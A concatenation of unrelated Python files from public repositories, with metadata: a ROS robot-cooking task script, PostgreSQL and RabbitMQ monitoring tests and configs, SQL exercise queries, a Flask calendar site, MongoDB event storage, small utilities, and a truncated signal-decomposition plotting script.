#!/usr/bin/env python3 import rospy from wecook.msg import ActionMsg, TaskMsg, SceneMsg, ObjectMsg, ContainingMsg, AgentMsg def talker(): pub = rospy.Publisher('WeCookDispatch', TaskMsg, queue_size=10) rospy.init_node('wecook_chicken_pasta', anonymous=True) scene_msg = SceneMsg([ObjectMsg('wall0', 'package://wecook_assets/data/furniture/wall.urdf', [0.75, 0.05, 0., 0., 0., 0., 1.]), ObjectMsg('wall1', 'package://wecook_assets/data/furniture/wall.urdf', [-0.85, 1.45, 0., 0., 0., 0.707, 0.707]), ObjectMsg('counter0', 'package://wecook_assets/data/furniture/kitchen_counter.urdf', [0.3, 0., 0., 0., 0., 0., 1.]), ObjectMsg('counter1', 'package://wecook_assets/data/furniture/kitchen_counter.urdf', [0., 1.0, 0., 0., 0., 0.707, 0.707]), ObjectMsg('sink0', 'package://wecook_assets/data/furniture/sink_counter.urdf', [-1.3, 1.05, 0., 0., 0., 0.707, 0.707]), ObjectMsg('shelf0', 'package://wecook_assets/data/furniture/bookcase.urdf', [0.3, -1.05, 0., 0., 0., 0., 1.]), ObjectMsg('stove0', 'package://wecook_assets/data/objects/stove.urdf', [-0.35, 0.95, 0.75, 0., 0., 0., 1.]), ObjectMsg('pot0', 'package://wecook_assets/data/objects/cooking_pot.urdf', [0.35, 1.1, 0.75, 0., 0., 0., 1.]), ObjectMsg('skillet0', 'package://wecook_assets/data/objects/skillet.urdf', [0.3, 0.7, 0.75, 0., 0., -0.707, .707]), ObjectMsg('cutting_board0', 'package://wecook_assets/data/objects/cutting_board.urdf', [0.3, -0.3, 0.75, 0., 0., 0., 1.]), ObjectMsg('knife0', 'package://wecook_assets/data/objects/knife_big.urdf', [0.215, -0.55, 0.775, 0., 0., 0., 1.]), ObjectMsg('plate0', 'package://wecook_assets/data/objects/plate.urdf', [0.3, 0.075, 0.75, 0., 0., 0., 1.]), ObjectMsg('bowl0', 'package://wecook_assets/data/objects/bowl_green.urdf', [0.45, 0.375, 0.75, 0., 0., 0., 1.]), ObjectMsg('bowl1', 'package://wecook_assets/data/objects/bowl_green.urdf', [0.15, 0.375, 0.75, 0., 0., 0., 1.]), ObjectMsg('oil0', 'package://wecook_assets/data/objects/olive_oil.urdf', [0., 1.15, 0.75, 0., 0., 0.707, 0.707]), ObjectMsg('salt0', 'package://wecook_assets/data/objects/salt.urdf', [0., 1.0, 0.75, 0., 0., 0.707, 0.707]), ObjectMsg('pepper0', 'package://wecook_assets/data/objects/black_pepper.urdf', [0., 0.9, 0.75, 0., 0., 0.707, 0.707]), ObjectMsg('chicken0', 'package://wecook_assets/data/food/chicken.urdf', [0.3, 0.075, 0.757, 0., 0., 0., 1.]), ObjectMsg('lime0', 'package://wecook_assets/data/food/lime.urdf', [0.3, -0.3, 0.757, 0., 0., 0., 1.]), ObjectMsg('pasta0', 'package://wecook_assets/data/food/pasta.urdf', [0.45, 0.375, 0.757, 0., 0., 0., 1.])], [ContainingMsg(['plate0', 'chicken0']), ContainingMsg(['bowl0', 'pasta0'])]) task_msg = TaskMsg(scene_msg, [ActionMsg(['p1'], 'cut', ['plate0'], 'knife0', ['lime0'])], [AgentMsg('p1', 'r', [0., 0., 0.75, 0., 0., 0., 0.])], "", "", "follow", "RRTConnect", False) # sleeping 10 seconds to publish rospy.sleep(1) pub.publish(task_msg) if __name__ == '__main__': try: talker() except rospy.ROSInterruptException: pass

55.010638

98

0.375169

482

5,171

3.927386

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0.058109

0.049128

0.243001

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0.349709

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0.231379

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0

0.11743

0.47631

5,171

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99

55.602151

0.58161

0.010056

0

0.097561

0

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0

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false

0.012195

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0

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0

null

0

1

0

null

0

1

6ac3c0aa131a8fbf4b061367a8fbb2e23790a4c8

3,777

py

Python

metricbeat/module/postgresql/test_postgresql.py

SHolzhauer/beats

39679a536a22e8a0d7534a2475504488909d19fd

[ "ECL-2.0", "Apache-2.0" ]

4

2020-11-17T06:29:30.000Z

2021-08-08T11:56:01.000Z

metricbeat/module/postgresql/test_postgresql.py

SHolzhauer/beats

39679a536a22e8a0d7534a2475504488909d19fd

[ "ECL-2.0", "Apache-2.0" ]

36

2021-02-02T14:18:40.000Z

2022-03-20T15:07:30.000Z

metricbeat/module/postgresql/test_postgresql.py

SHolzhauer/beats

39679a536a22e8a0d7534a2475504488909d19fd

[ "ECL-2.0", "Apache-2.0" ]

6

2021-03-10T05:38:32.000Z

2021-08-16T13:11:19.000Z

import metricbeat import os import pytest import sys import unittest class Test(metricbeat.BaseTest): COMPOSE_SERVICES = ['postgresql'] def common_checks(self, output): # Ensure no errors or warnings exist in the log. self.assert_no_logged_warnings() for evt in output: top_level_fields = metricbeat.COMMON_FIELDS + ["postgresql"] self.assertCountEqual(self.de_dot(top_level_fields), evt.keys()) self.assert_fields_are_documented(evt) def get_hosts(self): username = "postgres" host = self.compose_host() dsn = "postgres://{}?sslmode=disable".format(host) return ( [dsn], username, os.getenv("POSTGRESQL_PASSWORD"), ) @unittest.skipUnless(metricbeat.INTEGRATION_TESTS, "integration test") @pytest.mark.tag('integration') def test_activity(self): """ PostgreSQL module outputs an event. """ hosts, username, password = self.get_hosts() self.render_config_template(modules=[{ "name": "postgresql", "metricsets": ["activity"], "hosts": hosts, "username": username, "password": password, "period": "5s" }]) proc = self.start_beat() self.wait_until(lambda: self.output_lines() > 0) proc.check_kill_and_wait() output = self.read_output_json() self.common_checks(output) for evt in output: assert "name" in evt["postgresql"]["activity"]["database"] assert "oid" in evt["postgresql"]["activity"]["database"] assert "state" in evt["postgresql"]["activity"] @unittest.skipUnless(metricbeat.INTEGRATION_TESTS, "integration test") @pytest.mark.tag('integration') def test_database(self): """ PostgreSQL module outputs an event. """ hosts, username, password = self.get_hosts() self.render_config_template(modules=[{ "name": "postgresql", "metricsets": ["database"], "hosts": hosts, "username": username, "password": password, "period": "5s" }]) proc = self.start_beat() self.wait_until(lambda: self.output_lines() > 0) proc.check_kill_and_wait() output = self.read_output_json() self.common_checks(output) for evt in output: assert "name" in evt["postgresql"]["database"] assert "oid" in evt["postgresql"]["database"] assert "blocks" in evt["postgresql"]["database"] assert "rows" in evt["postgresql"]["database"] assert "conflicts" in evt["postgresql"]["database"] assert "deadlocks" in evt["postgresql"]["database"] @unittest.skipUnless(metricbeat.INTEGRATION_TESTS, "integration test") @pytest.mark.tag('integration') def test_bgwriter(self): """ PostgreSQL module outputs an event. """ hosts, username, password = self.get_hosts() self.render_config_template(modules=[{ "name": "postgresql", "metricsets": ["bgwriter"], "hosts": hosts, "username": username, "password": password, "period": "5s" }]) proc = self.start_beat() self.wait_until(lambda: self.output_lines() > 0) proc.check_kill_and_wait() output = self.read_output_json() self.common_checks(output) for evt in output: assert "checkpoints" in evt["postgresql"]["bgwriter"] assert "buffers" in evt["postgresql"]["bgwriter"] assert "stats_reset" in evt["postgresql"]["bgwriter"]

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0.028064

0.084191

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0.147727

0

null

0

null

0

1

0

1

6ac4ca9b00a8492410dc6166ad36ac8d64fdcffc

2,337

py

Python

rabbitmq/tests/common.py

jfmyers9/integrations-core

8793c784f1d5b2c9541b2dd4214dd91584793ced

[ "BSD-3-Clause" ]

1

2021-03-24T13:00:14.000Z

rabbitmq/tests/common.py

jfmyers9/integrations-core

8793c784f1d5b2c9541b2dd4214dd91584793ced

[ "BSD-3-Clause" ]

null

rabbitmq/tests/common.py

jfmyers9/integrations-core

8793c784f1d5b2c9541b2dd4214dd91584793ced

[ "BSD-3-Clause" ]

null

# (C) Datadog, Inc. 2018-present # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) import os from packaging import version from datadog_checks.base.utils.common import get_docker_hostname HERE = os.path.dirname(os.path.abspath(__file__)) ROOT = os.path.dirname(os.path.dirname(HERE)) RABBITMQ_VERSION_RAW = os.environ['RABBITMQ_VERSION'] RABBITMQ_VERSION = version.parse(RABBITMQ_VERSION_RAW) CHECK_NAME = 'rabbitmq' HOST = get_docker_hostname() PORT = 15672 URL = 'http://{}:{}/api/'.format(HOST, PORT) CONFIG = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'queues': ['test1'], 'tags': ["tag1:1", "tag2"], 'exchanges': ['test1'], } CONFIG_NO_NODES = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'queues': ['test1'], 'tags': ["tag1:1", "tag2"], 'exchanges': ['test1'], 'collect_node_metrics': False, } CONFIG_REGEX = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'queues_regexes': [r'test\d+'], 'exchanges_regexes': [r'test\d+'], } CONFIG_VHOSTS = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'vhosts': ['/', 'myvhost'], } CONFIG_WITH_FAMILY = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'tag_families': True, 'queues_regexes': [r'(test)\d+'], 'exchanges_regexes': [r'(test)\d+'], } CONFIG_DEFAULT_VHOSTS = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'vhosts': ['/', 'test'], } CONFIG_TEST_VHOSTS = { 'rabbitmq_api_url': URL, 'rabbitmq_user': 'guest', 'rabbitmq_pass': 'guest', 'vhosts': ['test', 'test2'], } EXCHANGE_MESSAGE_STATS = { 'ack': 1.0, 'ack_details': {'rate': 1.0}, 'confirm': 1.0, 'confirm_details': {'rate': 1.0}, 'deliver_get': 1.0, 'deliver_get_details': {'rate': 1.0}, 'publish': 1.0, 'publish_details': {'rate': 1.0}, 'publish_in': 1.0, 'publish_in_details': {'rate': 1.0}, 'publish_out': 1.0, 'publish_out_details': {'rate': 1.0}, 'return_unroutable': 1.0, 'return_unroutable_details': {'rate': 1.0}, 'redeliver': 1.0, 'redeliver_details': {'rate': 1.0}, }

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0

null

0

null

0

1

0

1

6ac55faf90a367de65f30a569842061f13204e0c

2,952

py

Python

module1-introduction-to-sql/query.py

jrslagle/DS-Unit-3-Sprint-2-SQL-and-Databases

8a6b3fd14b6a6833ee3a14b2d8a7db3bee494a14

[ "MIT" ]

null

module1-introduction-to-sql/query.py

jrslagle/DS-Unit-3-Sprint-2-SQL-and-Databases

8a6b3fd14b6a6833ee3a14b2d8a7db3bee494a14

[ "MIT" ]

null

module1-introduction-to-sql/query.py

jrslagle/DS-Unit-3-Sprint-2-SQL-and-Databases

8a6b3fd14b6a6833ee3a14b2d8a7db3bee494a14

[ "MIT" ]

null

# Look at the charactercreator_character table # GET_CHARACTERS = """ # SELECT * # FROM charactercreator_character; # """ # How many total Characters are there? (302) TOTAL_CHARACTERS = """ SELECT COUNT(*) as number_of_characters FROM charactercreator_character; """ # How many of each specific subclass? # TOTAL_SUBCLASS = """ # SELECT # (SELECT COUNT(*) FROM charactercreator_necromancer) AS necros, # (SELECT COUNT(*) FROM charactercreator_mage) AS mages, # (SELECT COUNT(*) FROM charactercreator_thief) AS thiefs, # (SELECT COUNT(*) FROM charactercreator_cleric) AS clerics, # (SELECT COUNT(*) FROM charactercreator_fighter) AS fighters; # """ CLASS = "SELECT COUNT(*) FROM charactercreator_" # How many total Items? (174) TOTAL_ITEMS = """ SELECT COUNT(item_id) as items FROM armory_item; """ # How many of the Items are weapons? (37) WEAPONS = """ SELECT COUNT(item_ptr_id) FROM armory_weapon; """ # How many of the items are not weapons? (137) NON_WEAPONS = """ SELECT COUNT(items.name) FROM armory_item as items WHERE items.item_id NOT IN( SELECT armory_weapon.item_ptr_id FROM armory_weapon); """ # How many Items does each character have? (Return first 20 rows) CHARACTER_ITEMS = """ SELECT character.name as "character_name", COUNT(inventory.id) as "#_of_items" FROM charactercreator_character AS character, charactercreator_character_inventory AS inventory WHERE character.character_id = inventory.character_id GROUP BY character.name ORDER BY character.name LIMIT 20; """ # How many Weapons does each character have? (Return first 20 rows) CHARACTER_WEAPONS = """ SELECT character.name as "character_name", COUNT(weapon.item_ptr_id) as "#_of_weapons" FROM charactercreator_character AS character, charactercreator_character_inventory AS inventory, armory_weapon as weapon WHERE character.character_id = inventory.character_id AND inventory.item_id = weapon.item_ptr_id GROUP BY character.name ORDER BY character.name LIMIT 20; """ # On average, how many Items does each Character have? (3.02) AVG_CHARACTER_ITEMS = """ SELECT AVG("#_of_items") as "avg_#_of_items" FROM ( SELECT COUNT(inventory.id) AS "#_of_items" FROM charactercreator_character AS character, charactercreator_character_inventory AS inventory WHERE character.character_id = inventory.character_id GROUP BY character.name ); """ # On average, how many Weapons does each character have? (0.67) AVG_CHARACTER_WEAPONS = """ SELECT AVG(weapon_count) as avg_weapons_per_char FROM ( SELECT character.character_id, COUNT(DISTINCT weapon.item_ptr_id) as weapon_count FROM charactercreator_character AS character LEFT JOIN charactercreator_character_inventory inventory -- characters may have zero items ON character.character_id = inventory.character_id LEFT JOIN armory_weapon weapon -- many items are not weapons, so only retain weapons ON inventory.item_id = weapon.item_ptr_id GROUP BY character.character_id ) subq; """

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0

false

0

null

0

1

0

null

0

1

6ac7d878414c23d75e260d1c447ced1efb264340

2,420

py

Python

events_page/app.py

los-verdes/lv-event-pagenerator

88416b626ff2dca6e2d71fa60bff4823954b3131

[ "MIT" ]

null

events_page/app.py

los-verdes/lv-event-pagenerator

88416b626ff2dca6e2d71fa60bff4823954b3131

[ "MIT" ]

7

2022-01-16T15:36:40.000Z

2022-01-25T22:02:12.000Z

events_page/app.py

los-verdes/lv-event-pagenerator

88416b626ff2dca6e2d71fa60bff4823954b3131

[ "MIT" ]

null

#!/usr/bin/env python from zoneinfo import ZoneInfo import flask from dateutil.parser import parse from flask_assets import Bundle, Environment from logzero import logger, setup_logger from webassets.filter import get_filter from config import cfg from apis import calendar as gcal setup_logger(name=__name__) app = flask.Flask(__name__) libsass = get_filter( "libsass", as_output=True, style="compressed", ) assets = Environment(app) # create an Environment instance bundles = { # define nested Bundle "style": Bundle( "scss/*.scss", filters=(libsass), output="style.css", ) } assets.register(bundles) @app.route("/") def events(): return flask.render_template( "index.html", calendar=gcal.load_calendar( service=gcal.build_service(), calendar_id=cfg.calendar_id, ), ) @app.template_filter() def parse_tz_datetime(datetime_str): return parse(datetime_str).replace(tzinfo=ZoneInfo(app.config["display_timezone"])) @app.template_filter() def replace_tz(datetime_obj): return datetime_obj.replace(tzinfo=ZoneInfo(app.config["display_timezone"])) @app.template_filter() def hex2rgb(hex, alpha=None): """Convert a string to all caps.""" if not hex.startswith("#"): return hex h = hex.lstrip("#") try: rgb = tuple(int(h[i : i + 2], 16) for i in (0, 2, 4)) # noqa except Exception as err: logger.exception(f"unable to convert {hex=} to rgb: {err}") return h if alpha is None: return f"rgb({rgb[0]}, {rgb[1]}, {rgb[2]})" else: return f"rgba({rgb[0]}, {rgb[1]}, {rgb[2]}, {alpha})" def get_base_url(): if prefix := cfg.gcs_bucket_prefix: return f"https://{cfg.hostname}/{prefix}" return f"https://{cfg.hostname}" def create_app(): cfg.load() # TODO: do this default settings thing better? default_app_config = dict( display_timezone=cfg.display_timezone, FREEZER_BASE_URL=get_base_url(), FREEZER_STATIC_IGNORE=["*.scss", ".webassets-cache/*", ".DS_Store"], FREEZER_RELATIVE_URLS=False, FREEZER_REMOVE_EXTRA_FILES=True, ) logger.info(f"create_app() => {default_app_config=}") app.config.update(default_app_config) return app if __name__ == "__main__": app = create_app() app.run( host="0.0.0.0", debug=True, )

24.444444

87

0.648347

319

2,420

4.711599

0.413793

0.035928

0.033932

0.03992

0.141051

0.086494

0

0.008952

0.215289

2,420

98

88

24.693878

0.782517

0.06281

0

0.04

0

0.150133

0.0093

0

0.010204

0

1

0.08

false

0

0.106667

0.04

0.32

0

null

0

null

0

1

0

1

6aca7a5f520c3a19c81c989f925529d891ca4d67

661

py

Python

_doc/sphinxdoc/source/conf.py

Jerome-maker/ensae_teaching_cs

43ea044361ee60c00c85aea354a7b25c21c0fd07

[ "MIT" ]

null

_doc/sphinxdoc/source/conf.py

Jerome-maker/ensae_teaching_cs

43ea044361ee60c00c85aea354a7b25c21c0fd07

[ "MIT" ]

null

_doc/sphinxdoc/source/conf.py

Jerome-maker/ensae_teaching_cs

43ea044361ee60c00c85aea354a7b25c21c0fd07

[ "MIT" ]

null

import sys import os import sphinx_rtd_theme source_path = os.path.normpath( os.path.join( os.path.abspath( os.path.split(__file__)[0]))) try: from conf_base import * except ImportError: sys.path.append(source_path) from conf_base import * html_theme = 'sphinx_rtd_theme' html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] templates_path = [os.path.join(source_path, 'phdoc_static')] html_static_path = [os.path.join(source_path, 'phdoc_static')] if not os.path.exists(templates_path[0]): raise FileNotFoundError(templates_path[0]) blog_root = "http://www.xavierdupre.fr/app/ensae_teaching_cs/helpsphinx3/"

25.423077

74

0.741301

98

661

4.673469

0.428571

0.091703

0.078603

0.152838

0

0.00703

0.139183

661

25

75

26.44

0.797891

0

0.105263

0

0.151286

0

1

0

false

0

0.315789

0

0.315789

0

null

0

null

0

1

0

1

6acc395ad3bfafbc612c2d532d32bbb5ce80e13f

4,123

py

Python

flink-ai-flow/lib/notification_service/notification_service/mongo_event_storage.py

lisy09/flink-ai-extended

011a5a332f7641f66086653e715d0596eab2e107

[ "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0", "BSD-3-Clause" ]

1

2021-08-06T04:24:36.000Z

flink-ai-flow/lib/notification_service/notification_service/mongo_event_storage.py

sentimentist/flink-ai-extended

689d000f2db8919fd80e0725a1609918ca4a26f4

[ "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0", "BSD-3-Clause" ]

null

flink-ai-flow/lib/notification_service/notification_service/mongo_event_storage.py

sentimentist/flink-ai-extended

689d000f2db8919fd80e0725a1609918ca4a26f4

[ "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0", "BSD-3-Clause" ]

1

2021-05-20T02:17:11.000Z

# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # import time import socket from collections import Iterable from typing import Union, Tuple from mongoengine import connect from notification_service.event_storage import BaseEventStorage from notification_service.base_notification import BaseEvent from notification_service.mongo_notification import MongoEvent class MongoEventStorage(BaseEventStorage): def __init__(self, *args, **kwargs): self.db_conn = self.setup_connection(**kwargs) self.server_ip = socket.gethostbyname(socket.gethostname()) def setup_connection(self, **kwargs): db_conf = { "host": kwargs.get("host"), "port": kwargs.get("port"), "db": kwargs.get("db"), } username = kwargs.get("username", None) password = kwargs.get("password", None) authentication_source = kwargs.get("authentication_source", "admin") if (username or password) and not (username and password): raise Exception("Please provide valid username and password") if username and password: db_conf.update({ "username": username, "password": password, "authentication_source": authentication_source }) return connect(**db_conf) def get_latest_version(self, key: str, namespace: str = None): mongo_events = MongoEvent.get_by_key(key, 0, 1, "-version") if not mongo_events: return 0 return mongo_events[0].version def add_event(self, event: BaseEvent, uuid: str): kwargs = { "server_ip": self.server_ip, "create_time": int(time.time() * 1000), "event_type": event.event_type, "key": event.key, "value": event.value, "context": event.context, "namespace": event.namespace, "sender": event.sender, "uuid": uuid } mongo_event = MongoEvent(**kwargs) mongo_event.save() mongo_event.reload() event.create_time = mongo_event.create_time event.version = mongo_event.version return event def list_events(self, key: Union[str, Tuple[str]], version: int = None, event_type: str = None, start_time: int = None, namespace: str = None, sender: str = None): key = None if key == "" else key version = None if version == 0 else version event_type = None if event_type == "" else event_type namespace = None if namespace == "" else namespace sender = None if sender == "" else sender if isinstance(key, str): key = (key,) elif isinstance(key, Iterable): key = tuple(key) res = MongoEvent.get_base_events(key, version, event_type, start_time, namespace, sender) return res def list_all_events(self, start_time: int): res = MongoEvent.get_base_events_by_time(start_time) return res def list_all_events_from_version(self, start_version: int, end_version: int = None): res = MongoEvent.get_base_events_by_version(start_version, end_version) return res def clean_up(self): MongoEvent.delete_by_client(self.server_ip)

38.175926

97

0.64031

494

4,123

5.192308

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0.026901

0.023392

0.051462

0.041326

0

0.004329

0.271647

4,123

107

98

38.53271

0.849817

0.182391

0

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0

0.063544

0.01253

0

1

0.101266

false

0.063291

0.101266

0

0.303797

0

null

0

null

0

1

0

1

6accba984dd52f022ed6544e1f7ad42db7180437

665

py

Python

setup.py

rrwen/search_google

e647868ba5da2803e787a3c06b32e09452068736

[ "MIT" ]

15

2017-08-24T18:44:55.000Z

2021-02-01T22:07:53.000Z

setup.py

rrwen/search_google

e647868ba5da2803e787a3c06b32e09452068736

[ "MIT" ]

5

2017-09-05T12:25:09.000Z

2021-10-18T06:45:24.000Z

setup.py

rrwen/search_google

e647868ba5da2803e787a3c06b32e09452068736

[ "MIT" ]

1

2018-02-20T13:44:44.000Z

# -*- coding: utf-8 -*- from setuptools import setup import search_google as package def readme(): with open('README.rst') as f: return ''.join(f.readlines()[11:]) setup( name=package.__name__, version=package.__version__, description=package.__description__, long_description=readme(), author=package.__author__, author_email=package.__email__, license=package.__license__, url=package.__url__, download_url=package.__download_url__, keywords =package. __keywords__, entry_points=package.__entry_points__, packages=package.__packages__, package_data=package.__package_data__, install_requires=package.__install_requires__ )

24.62963

47

0.771429

77

665

5.844156

0.480519

0.044444

0

0.005119

0.118797

665

26

48

25.576923

0.762799

0.031579

0

0.015576

0

1

0.047619

true

0

0.095238

0

0.190476

0

null

0

null

0

1

0

1

6ad2141e919181f75e53ccffa43344d1aae6eea7

346

py

Python

main.py

BenG49/sudoku

e4b14655e23d04c161feb16ceb1338537f519bdb

[ "MIT" ]

null

main.py

BenG49/sudoku

e4b14655e23d04c161feb16ceb1338537f519bdb

[ "MIT" ]

null

main.py

BenG49/sudoku

e4b14655e23d04c161feb16ceb1338537f519bdb

[ "MIT" ]

null

from sudoku import Sudoku def main(): s = Sudoku.parse( ''' ------------- | |2 | | | | 6 |4 3| | | 5| 7 | ------------- | 7 | 2|8 | |51 | 4|9 | | 9| 3| | ------------- | | 9| | | 2| | 98| | 83|1 |2 | ------------- ''' ) print(s) print(s.solve()) if __name__ == '__main__': main()

12.814815

26

0.297688

38

346

2.5

0.605263

0.126316

0

0.105505

0.369942

346

26

27

13.307692

0.330275

0

0.062016

0

1

0.125

false

0

0.125

0

0.25

0

null

0

1

0

null

0

1

6adc3f2423ac6cf2c778f44e1751ae2e595e05f5

74,159

py

Python

jss_figures_replication_script.py

Cole-vJ/AdvEMDpy

160cd44b371a2c8aa66961f23062c1d7305dd728

[ "Unlicense" ]

null

jss_figures_replication_script.py

Cole-vJ/AdvEMDpy

160cd44b371a2c8aa66961f23062c1d7305dd728

[ "Unlicense" ]

null

jss_figures_replication_script.py

Cole-vJ/AdvEMDpy

160cd44b371a2c8aa66961f23062c1d7305dd728

[ "Unlicense" ]

null

# ________ # / # \ / # \ / # \/ import random import textwrap import emd_mean import AdvEMDpy import emd_basis import emd_utils import numpy as np import pandas as pd import cvxpy as cvx import seaborn as sns import matplotlib.pyplot as plt from scipy.integrate import odeint from scipy.ndimage import gaussian_filter from emd_utils import time_extension, Utility from scipy.interpolate import CubicSpline from emd_hilbert import Hilbert, hilbert_spectrum from emd_preprocess import Preprocess from emd_mean import Fluctuation from AdvEMDpy import EMD # alternate packages from PyEMD import EMD as pyemd0215 import emd as emd040 sns.set(style='darkgrid') pseudo_alg_time = np.linspace(0, 2 * np.pi, 1001) pseudo_alg_time_series = np.sin(pseudo_alg_time) + np.sin(5 * pseudo_alg_time) pseudo_utils = Utility(time=pseudo_alg_time, time_series=pseudo_alg_time_series) # plot 0 - addition fig = plt.figure(figsize=(9, 4)) ax = plt.subplot(111) plt.gcf().subplots_adjust(bottom=0.10) plt.title('First Iteration of Sifting Algorithm') plt.plot(pseudo_alg_time, pseudo_alg_time_series, label=r'$h_{(1,0)}(t)$', zorder=1) plt.scatter(pseudo_alg_time[pseudo_utils.max_bool_func_1st_order_fd()], pseudo_alg_time_series[pseudo_utils.max_bool_func_1st_order_fd()], c='r', label=r'$M(t_i)$', zorder=2) plt.plot(pseudo_alg_time, np.sin(pseudo_alg_time) + 1, '--', c='r', label=r'$\tilde{h}_{(1,0)}^M(t)$', zorder=4) plt.scatter(pseudo_alg_time[pseudo_utils.min_bool_func_1st_order_fd()], pseudo_alg_time_series[pseudo_utils.min_bool_func_1st_order_fd()], c='c', label=r'$m(t_j)$', zorder=3) plt.plot(pseudo_alg_time, np.sin(pseudo_alg_time) - 1, '--', c='c', label=r'$\tilde{h}_{(1,0)}^m(t)$', zorder=5) plt.plot(pseudo_alg_time, np.sin(pseudo_alg_time), '--', c='purple', label=r'$\tilde{h}_{(1,0)}^{\mu}(t)$', zorder=5) plt.yticks(ticks=[-2, -1, 0, 1, 2]) plt.xticks(ticks=[0, np.pi, 2 * np.pi], labels=[r'0', r'$\pi$', r'$2\pi$']) box_0 = ax.get_position() ax.set_position([box_0.x0 - 0.05, box_0.y0, box_0.width * 0.95, box_0.height]) ax.legend(loc='center left', bbox_to_anchor=(1, 0.5)) plt.savefig('jss_figures/pseudo_algorithm.png') plt.show() knots = np.arange(12) time = np.linspace(0, 11, 1101) basis = emd_basis.Basis(time=time, time_series=time) b_spline_basis = basis.cubic_b_spline(knots) chsi_basis = basis.chsi_basis(knots) # plot 1 plt.title('Non-Natural Cubic B-Spline Bases at Boundary') plt.plot(time[500:], b_spline_basis[2, 500:].T, '--', label=r'$ B_{-3,4}(t) $') plt.plot(time[500:], b_spline_basis[3, 500:].T, '--', label=r'$ B_{-2,4}(t) $') plt.plot(time[500:], b_spline_basis[4, 500:].T, '--', label=r'$ B_{-1,4}(t) $') plt.plot(time[500:], b_spline_basis[5, 500:].T, '--', label=r'$ B_{0,4}(t) $') plt.plot(time[500:], b_spline_basis[6, 500:].T, '--', label=r'$ B_{1,4}(t) $') plt.xticks([5, 6], [r'$ \tau_0 $', r'$ \tau_1 $']) plt.xlim(4.4, 6.6) plt.plot(5 * np.ones(100), np.linspace(-0.2, 1.2, 100), 'k-') plt.plot(6 * np.ones(100), np.linspace(-0.2, 1.2, 100), 'k-') plt.legend(loc='upper left') plt.savefig('jss_figures/boundary_bases.png') plt.show() # plot 1a - addition knot_demonstrate_time = np.linspace(0, 2 * np.pi, 1001) knot_demonstrate_time_series = np.sin(knot_demonstrate_time) + np.sin(5 * knot_demonstrate_time) knots_uniform = np.linspace(0, 2 * np.pi, 51) emd = EMD(time=knot_demonstrate_time, time_series=knot_demonstrate_time_series) imfs = emd.empirical_mode_decomposition(knots=knots_uniform, edge_effect='anti-symmetric', verbose=False)[0] fig, axs = plt.subplots(3, 1) fig.subplots_adjust(hspace=0.6) plt.gcf().subplots_adjust(bottom=0.10) axs[0].set_title('Time Series and Uniform Knots') axs[0].plot(knot_demonstrate_time, knot_demonstrate_time_series, Linewidth=2, zorder=100) axs[0].set_yticks(ticks=[-2, 0, 2]) axs[0].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[0].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[1].set_title('IMF 1 and Uniform Knots') axs[1].plot(knot_demonstrate_time, imfs[1, :], Linewidth=2, zorder=100) axs[1].set_yticks(ticks=[-2, 0, 2]) axs[1].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[1].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[2].set_title('IMF 2 and Uniform Knots') axs[2].plot(knot_demonstrate_time, imfs[2, :], Linewidth=2, zorder=100) axs[2].set_yticks(ticks=[-2, 0, 2]) axs[2].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[2].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[0].plot(knots_uniform[0] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey', label='Knots') axs[0].legend(loc='lower left') axs[1].plot(knots_uniform[0] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey', label='Knots') axs[2].plot(knots_uniform[0] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey', label='Knots') for i in range(3): for j in range(1, len(knots_uniform)): axs[i].plot(knots_uniform[j] * np.ones(101), np.linspace(-2, 2, 101), '--', c='grey') plt.savefig('jss_figures/knot_uniform.png') plt.show() # plot 1b - addition knot_demonstrate_time = np.linspace(0, 2 * np.pi, 1001) knot_demonstrate_time_series = np.sin(knot_demonstrate_time) + np.sin(5 * knot_demonstrate_time) emd = EMD(time=knot_demonstrate_time, time_series=knot_demonstrate_time_series) imfs, _, _, _, knots, _, _ = emd.empirical_mode_decomposition(edge_effect='anti-symmetric', optimise_knots=1, verbose=False) fig, axs = plt.subplots(3, 1) fig.subplots_adjust(hspace=0.6) plt.gcf().subplots_adjust(bottom=0.10) axs[0].set_title('Time Series and Statically Optimised Knots') axs[0].plot(knot_demonstrate_time, knot_demonstrate_time_series, Linewidth=2, zorder=100) axs[0].set_yticks(ticks=[-2, 0, 2]) axs[0].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[0].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[1].set_title('IMF 1 and Statically Optimised Knots') axs[1].plot(knot_demonstrate_time, imfs[1, :], Linewidth=2, zorder=100) axs[1].set_yticks(ticks=[-2, 0, 2]) axs[1].set_xticks(ticks=[0, np.pi, 2 * np.pi]) axs[1].set_xticklabels(labels=['0', r'$\pi$', r'$2\pi$']) axs[2].set_title('IMF 2 and Statically Optimised Knots') axs[2].plot(knot_demonstrate_time, imfs[2, :], 